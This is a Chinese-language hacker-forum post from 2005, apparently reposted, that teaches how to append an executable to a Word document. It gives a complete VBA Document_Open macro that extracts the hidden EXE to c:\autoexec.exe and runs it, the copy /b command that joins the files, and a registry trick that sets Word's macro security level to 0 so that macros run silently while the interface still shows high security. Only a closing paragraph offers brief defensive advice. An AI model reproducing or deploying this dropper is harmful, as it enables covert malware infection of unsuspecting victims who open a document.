[这个贴子最后由黑色海岸线在 2005/04/05 10:48am 第 1 次编辑]
来源:http://www.hackblog.com/
很多时候想做的东西不及时做出来,就会象这编文章一样迟迟才能发表出来,原来写好的稿子不知道已经不知道放到什么地方去了,这编是重新整理过的.
其实这种转换并不是文件格式上的变化,只不过是把一个EXE文件接在一个DOC文件的末尾而已,这个DOC文件当然就不是不同WORD的文档啦,该文档中包含了宏语句,能在运行的时候把接在自己文件末尾的EXE文件数据读取出来并运行,就造成一种假象,好象文档打开时就运行了EXE文件似的.(和文件捆绑器的原理很象啊!)
熟悉VB的朋友都知道,WORD的宏是使用VBA来编写的,具体语法和VB一样,但有些方法VB中没有,如宏病毒就是利用宏复制语句来达到感染的目的.和VB一样,我们可以在编写宏的时候调用WINDOWSAPI!!下面我们来介绍一下我们编写这个宏需要用到的API函数:
1)CreateFile用于打开文件,该函数VB的声明如下:
DeclareFunctionCreateFileLib"kernel32"Alias"CreateFileA"(ByVallpFileNameAsString,ByValdwDesiredAccessAsLong,ByValdwShareModeAsLong,ByVallpSecurityAttributesAsLong,ByValdwCreationDistributionAsLong,ByValdwFlagsAndAttributesAsLong,ByValhTemplateAsLong)AsLong
2)CloseHandle用于关闭被打开文件的句柄,该函数VB的声明如下:
DeclareFunctionCloseHandleLib"kernel32"(ByValhObjectAsLong)AsLong
3)ReadFile用于从被打开文件中读取数据,该函数VB的声明如下:
DeclareFunctionReadFileLib"kernel32"(ByValhFileAsLong,lpBufferAsByte,ByValdwNumberOfBytesToReadAsLong,lpNumberOfBytesReadAsLong,ByVallpOverlappedAsLong)AsLong
4)WriteFile用于把读取出的数据写入文件,该函数VB的声明如下:
DeclareFunctionWriteFileLib"kernel32"(ByValhFileAsLong,lpBufferAsByte,ByValdwNumberOfBytesToWriteAsLong,lpNumberOfBytesWrittenAsLong,ByVallpOverlappedAsLong)AsLong
5)SetFilePoniter移动文件指针,该函数VB的声明如下:
DeclareFunctionSetFilePointerLib"kernel32"(ByValhFileAsLong,ByVallDistanceToMoveAsLong,ByVallpDistanceToMoveHighAsLong,ByValdwMoveMethodAsLong)AsLong
6)下面是以上函数的参数声明
PublicConstGENERIC_READAsLong=&H80000000
PublicConstGENERIC_WRITEAsLong=&H40000000
PublicConstFILE_SHARE_READAsLong=1
PublicConstFILE_SHARE_WRITEAsLong=2
PublicConstCREATE_NEWAsLong=1
PublicConstCREATE_ALWAYSAsLong=2
PublicConstOPEN_EXISTINGAsLong=3
PublicConstOPEN_ALWAYSAsLong=4
PublicConstTRUNCATE_EXISTINGAsLong=5
PublicConstINVALID_HANDLE_VALUEAsLong=-1
PublicConstFILE_ATTRIBUTE_NORMALAsLong=&H80
好了,有了这些准备工作就可以开始了,我们运行WORD2000,打开VISUALBASIC编辑器,新建一个模块,把上面的函数和参数声明拷进去!再回到“ThisDocument”的代码视图,选择DocumentOpen的事件,输入一下代码:
PrivateSubDocument_Open()
Dimbuffer(65536)AsByte
Dimh,h2,j,i,kAsLong
h=CreateFile(ThisDocument.Path&"/"&ThisDocument.Name,GENERIC_READ,FILE_SHARE_READ+FILE_SHARE_WRITE,0,OPEN_EXISTING,0,0)
‘以SHARE_READ的方式打开自身的DOC文件
h2=CreateFile("c:\autoexec.exe",GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0)
‘新建一个EXE文件准备存放读取出来的数据.
Ifh=INVALID_HANDLE_VALUEThen
ExitSub
EndIf
k=SetFilePointer(h,32768,nil,0)
‘把文件指针移动到DOC文件与EXE文件交界处.
Do
i=ReadFile(h,buffer(0),65536,j,0)
i=WriteFile(h2,buffer(0),j,j,0)
LoopUntilj<65536
CloseHandle(h)
CloseHandle(h2)
Shell"c:\autoexec.exe"
‘运行EXE文件
EndSub
这样宏就编写好了,注意的地方就是上面SetFilePointer函数的使用部分:32768是你编写完宏保存好的DOC文件的文件大小,不一顶就是32768哦,大家注意!
大家可能有疑问,如何把EXE文件接到DOC文件后面呢?很简单,把你要接的EXE放到和这个DOC文件同一个目录下.运行DOC命令:
copy/bxxxx.doc+xxxxx.exenewdoc.doc
这样就可以了~~~.当你打开这个NEWDOC.DOC的时候,宏就会把后面的EXE文件读出来并保存在C:\AUTOEXEC.EXE中,然后运行,是不是很恐怖啊!不过这需要你的WORD2000安全度为最低的时候才能实现,关于这个安全度的问题,我们又发现了微软的小BUG,大家看看注册表中这个键:
HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security中的
Level值.当安全度是3(高)的时候,WORD不会运行任何的宏,2(中)的时候WORD会询问你是否运行宏,1(低)的时候WORD就会自动运行所有的宏!但很容易就被发现安全度被设为低了,聪明的你一定想到如果这个值变为0的时候会怎么样!!??对了!如果设为0的话,WORD里面就会显示安全度为高,但却能自动运行任何的宏!!是不是很夸张??和注册表编辑器的后门一样这都是MS的后门吧?
如果要受害人的机器接受你的DOC文件又能顺利运行,最重要就是把WORD的安全度在注册表中的值改为0,怎么改??方法太多了吧,单是IE的恶意代码能实现的都太多了,另外,如果网页上连接上是DOC的话,IE也会自动下载该DOC文件!危险的MS啊!!
这个算不算漏洞我不敢说,但防范真的很难,除非一天到晚监视着注册表,或者不用WORD?太消极了吧,最重要的是小心防范,陌生人的东西千万不要收!包括非EXE文件,我们现在发现了DOC文件能隐藏EXE文件,也会有人发现其他文件能隐藏EXE,所以大家千万要小心
|